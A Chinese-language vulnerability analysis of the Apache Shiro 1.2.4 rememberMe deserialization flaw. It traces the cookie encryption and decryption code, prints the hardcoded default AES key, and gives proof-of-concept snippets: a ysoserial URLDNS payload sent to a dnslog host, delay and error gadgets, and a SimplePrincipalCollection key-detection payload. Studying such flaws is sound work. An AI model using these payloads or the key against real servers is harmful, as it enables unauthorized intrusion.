Shiro-RememberMe反序列化研究

Shiro rememberMe反序列化研究

环境搭建

  • 环境搭建

    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
    mvn install
  • shiro/samples/web添加

    <!--  需要设置编译的版本 -->  
    <properties>
       <maven.compiler.source>1.8</maven.compiler.source>
       <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
    
    <dependencies>
       <dependency>
           <groupId>javax.servlet</groupId>
           <artifactId>jstl</artifactId>
           <!--  这里需要将jstl设置为1.2 -->
           <version>1.2</version> 
           <scope>runtime</scope>
       </dependency>
    
       <dependency>
           <groupId>org.apache.commons</groupId>
           <artifactId>commons-collections4</artifactId>
           <version>4.0</version>
       </dependency>
    <dependencies>
  • .m2/toolchains.xml

    <?xml version="1.0" encoding="UTF-8"?>
    
    <toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
    
    <!--插入下面代码-->
    <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
        <!--这里是你安装jdk的文件目录-->
      <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/</jdkHome>
    </configuration>
    </toolchain>
    </toolchains>
  • IDEA导入Maven->Package访问

  • - Shiro的识别

一般在请求头中添加rememberMe=xxx,看返回包是否有Set-Cookie: rememberMe=deleteMe,如果存在,则证明为Shiro

  • shiro_tool复现

漏洞分析

加密过程

  • org/apache/shiro/mgt/AbstractRememberMeManager.java:291进行断点

点击登陆debug,发现用户名存在于token当中,为输入的root

代码首先会经过forgetIdentity(subject);对变量subject进行处理,跟进forgetIdentity方法。

  • org/apache/shiro/web/mgt/CookieRememberMeManager.java:256

跟进forgetIdentity方法

 private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
        getCookie().removeFrom(request, response);
    }

跟进removeFrom方法,removeFrom方法中在Cookie中添加了一些属性

  • 回到onSuccessfulLogin方法中

    if (isRememberMe(token))

用来判断是否设置了RememberMe选项,于debug中可以看到为true

getIdentityToRemember方法获取到我们登陆的用户root并返回,进入rememberIdentity方法

  • org/apache/shiro/mgt/AbstractRememberMeManager.java:345

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }

将root传入convertPrincipalsToBytes方法,进入convertPrincipalsToBytes方法

  • org/apache/shiro/mgt/AbstractRememberMeManager.java:359

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);//序列化principals
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

调用encrypt方法对bytes进行加密

  • org/apache/shiro/mgt/AbstractRememberMeManager.java:469

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

调用cipherService.encrypt方法对序列化的内容进行加密

查看cipherService发现加密类型为gAES/CBC/PKCS5Paddin

getDecryptionCipherKey()为获取key,在文件开头定义了key值

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

跟进encrypt方法 - org/apache/shiro/crypto/JcaCipherService.java:303

 public ByteSource encrypt(byte[] plaintext, byte[] key) {
        byte[] ivBytes = null;
        boolean generate = isGenerateInitializationVectors(false);
        if (generate) {
            ivBytes = generateInitializationVector(false);
            if (ivBytes == null || ivBytes.length == 0) {
                throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
                        "cannot be null or empty.");
            }
        }
        return encrypt(plaintext, key, ivBytes, generate);
    }

将key和用户名带入加密方法加密然后返回

进入rememberSerializedIdentity方法

    //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);

会将传入的Aes加密后的内容base64加密并返回给Cookie

  • 整理流程借用L1NK3R师傅的一张图

解密过程

  • org/apache/shiro/mgt/AbstractRememberMeManager.java:390断点

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }
    
        return principals;
    }

跟进getRememberedSerializedIdentity方法

  • org/apache/shiro/web/mgt/CookieRememberMeManager.java:185

查看readValue方法,方法获取到cookie的值并返回

public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
        String name = getName();
        String value = null;
        javax.servlet.http.Cookie cookie = getCookie(request, name);
        if (cookie != null) {
            value = cookie.getValue();
            log.debug("Found '{}' cookie value [{}]", name, value);
        } else {
            log.trace("No '{}' cookie value", name);
        }

        return value;
    }

返回getRememberedSerializedIdentity方法

 if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }

这里就获取到了base64解密之后的Cookie二进制,回到getRememberedPrincipals方法

  • 跟进org/apache/shiro/mgt/AbstractRememberMeManager.java:427

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }
  • 进入decrypt方法

     protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

Java序列化头部

  • 回到convertBytesToPrincipals方法

这里调用了deserialize处理上一步解密的结果

  • 跟进org/apache/shiro/io/DefaultSerializer.java:67

readObject方法

  • 流程图

Shiro key的获取方式

URLDNS

import ysoserial.payloads.URLDNS;

public class ShiroKey {
    public static void main(String[] args) throws Exception {
        URLDNS urldns = new URLDNS();
        Object object = urldns.getObject("http://oq287o.dnslog.cn");
        byte[] buf = Serializables.serialize(object);

        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}

延时

try{ 
	if(!(System.getProperty("os.name").toLowerCase().contains("win"))){ 
		Thread.currentThread().sleep(10000L); 
		} 
	} catch(Exception e){}

报错

String result = "shiro-Vul-Discover";
throw new NoClassDefFoundError(new String(result));

Shiro本身逻辑获取

  • 核心代码

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }
    
        return principals;
    }

Key错误情况

principals = onRememberedPrincipalFailure(re, subjectContext);
  • 跟进org/apache/shiro/mgt/AbstractRememberMeManager.java:427

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }
  • 跟进org/apache/shiro/mgt/AbstractRememberMeManager.java:485

使用cipherService.decrypt(encrypted, getDecryptionCipherKey());进行处理,跟进去

因为key错误所以解不出来,回到最初的getRememberedPrincipals方法

  • 跟进org/apache/shiro/web/servlet/SimpleCookie.java:344

    public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
        String name = getName();
        String value = DELETED_COOKIE_VALUE;
        String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
        String domain = getDomain();
        String path = calculatePath(request);
        int maxAge = 0; //always zero for deletion
        int version = getVersion();
        boolean secure = isSecure();
        boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
    
        addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);

因为解密失败,最后设置cookie值为deleteMe

Key正确情况

  • deserialize方法

    protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
    }

反序列化时强制转换为PrincipalCollection类型,因为类型不符,会产生异常并且返回到核心函数

  • 产生异常,又回到getRememberedPrincipals方法

    } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

接下来的逻辑和上面key错误的就一样了

  • 构造条件

1、构造一个继承 PrincipalCollection 的序列化对象。 2、key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

  • SimplePrincipalCollection

SimplePrincipalCollection类继承了PrincipalCollection

  • 构造poc

    SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();